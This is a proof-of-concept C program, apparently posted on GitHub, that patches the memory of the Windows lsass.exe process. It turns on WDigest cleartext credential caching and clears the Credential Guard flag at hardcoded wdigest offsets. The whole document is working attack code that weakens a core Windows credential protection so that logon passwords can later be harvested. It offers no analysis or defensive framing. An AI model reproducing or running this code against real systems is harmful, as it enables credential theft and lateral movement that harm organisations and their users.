PoC for enabling wdigest to bypass credential guard

August 25, 2020 ยท View on GitHub

#define _CRT_SECURE_NO_WARNINGS #include <Windows.h> #include <Psapi.h> #include <TlHelp32.h> #include

DWORD GetLsassPid() {

PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
DWORD pid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

if (Process32First(hSnapshot, &entry)) {
	while (Process32Next(hSnapshot, &entry)) {
		if (_stricmp(entry.szExeFile, "lsass.exe") == 0)
		{
			pid = entry.th32ProcessID;
			break;
		}
	}
}

CloseHandle(hSnapshot);
return pid;

}

BOOL PatchWdigest() { DWORD lsassPid = 0; HANDLE hLsass = INVALID_HANDLE_VALUE;

//Set these per Wdigest version

//Offset for wdigest!g_fParameter_UseLogonCredential
ULONGLONG logonCredential_offSet = 0x36124;

//Offset for wdigest!g_IsCredGuardEnabled
ULONGLONG credGuard_offSet = 0x35b88;

lsassPid = GetLsassPid();

printf("Lsass Pid = %d\n", lsassPid);


if (0 != lsassPid)
{
	HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
	if (INVALID_HANDLE_VALUE != hLsass && hLsass != NULL)
	{
		HMODULE hArray[256];
		DWORD fak;
		EnumProcessModules(hLsass, hArray, sizeof(hArray), &fak);

		char szFilename[256];

		for (unsigned int i = 0; i < (fak / sizeof(HMODULE)); i++)
		{
			GetModuleFileNameExA(hLsass, hArray[i], szFilename, 256);
			if (strstr(szFilename, "wdigest"))
			{

				MODULEINFO moduleInfo;

				if (GetModuleInformation(hLsass, hArray[i], &moduleInfo, sizeof(MODULEINFO)))
				{
					unsigned char* ptr = (unsigned char*)moduleInfo.lpBaseOfDll;

					//Locations of each variable
					LPVOID addrOfUseLogonCredentialGlobalVariable = ptr + logonCredential_offSet;
					LPVOID addrOfCredGuardEnabled = ptr + credGuard_offSet;

					DWORD dwCurrent = 0xAABBCCDD;
					DWORD dwCurrentLength = sizeof(DWORD);
					SIZE_T bytesRead = 0;

					DWORD oldProtect, newProtect;

					//Patch wdigest
					//No need to VirtualProtectEx for UseLogonCredential
					printf("\nPatching g_fParameter_UseLogonCredential....\n");
					printf("g_fParameter_UseLogonCredential offset = %llx\n", logonCredential_offSet);

					if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
					{
						printf("\t(1) dwCurrent= %d for g_fParameter_UseLogonCredential\n", dwCurrent, bytesRead);
					}
					else
						printf("(1) Failed to read memory address for g_fParameter_UseLogonCredential\n");

					//Set g_fParameter_UseLogonCredential to 1
					DWORD dwUseLogonCredential = 1;
					SIZE_T bytesWritten = 0;
					
					if (!WriteProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, (PVOID)&dwUseLogonCredential, sizeof(DWORD), &bytesWritten))
					{
						CloseHandle(hLsass);
						printf( "Failed at WriteMemory for g_fParameter_UseLogonCredential. Error %d \n", GetLastError());

						return FALSE;
					}

					if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
					{
						printf("\t(2) dwCurrent= %d for g_fParameter_UseLogonCredential\n", dwCurrent, bytesRead);
					}

					//End UseLogonCredential Patch
					
					
					//Patch cradGuard
					printf("\nPatching g_IsCredGuardEnabled...\n");
					printf("g_IsCredGuardEnabled offset = %llx\n", credGuard_offSet);
					if (!VirtualProtectEx(hLsass, addrOfCredGuardEnabled, sizeof(DWORD), PAGE_READWRITE, &oldProtect))
					{
						CloseHandle(hLsass);
						printf("(1) Failed at virtual protect for g_IsCredGuardEnabled. Error %d \n", GetLastError());
						return FALSE;
					}
					if (ReadProcessMemory(hLsass, addrOfCredGuardEnabled, &dwCurrent, dwCurrentLength, &bytesRead))
					{
						printf("\t(1) dwCurrent= %d for g_IsCredGuardEnabled\n", dwCurrent, bytesRead);
					}
					else
						printf("(1) Failed to read memory address for g_IsCredGuardEnabled\n");
					//

					//Set g_IsCredGuardEnabled to 0
					DWORD dwCredGuard = 0;
					
					if (!WriteProcessMemory(hLsass, addrOfCredGuardEnabled, (PVOID)&dwCredGuard, sizeof(DWORD), &bytesWritten))
					{
						CloseHandle(hLsass);
						printf("Failed at WriteMemory for g_IsCredGuardEnabled. Error %d \n", GetLastError());
						return FALSE;
					}

					if (ReadProcessMemory(hLsass, addrOfCredGuardEnabled, &dwCurrent, dwCurrentLength, &bytesRead))
					{
						printf("\t(2) dwCurrent= %d for g_IsCredGuardEnabled\n", dwCurrent, bytesRead);
					}

					if (!VirtualProtectEx(hLsass, addrOfCredGuardEnabled, sizeof(DWORD), oldProtect, &newProtect))
					{
						CloseHandle(hLsass);
						printf("(2) Failed at virtual protect for g_IsCredGuardEnabled. Error %d \n", GetLastError());
						return FALSE;
					}
					//End creadGuard Patch 
					CloseHandle(hLsass);
					printf("Success\n");
					return TRUE;
				}
			}
		}
	}
	else
	{
		printf("Failed, bad lsass handle\n");
		return FALSE;
	}


}

return FALSE;

}

int main() { if (!PatchWdigest()) return 1; return 0; }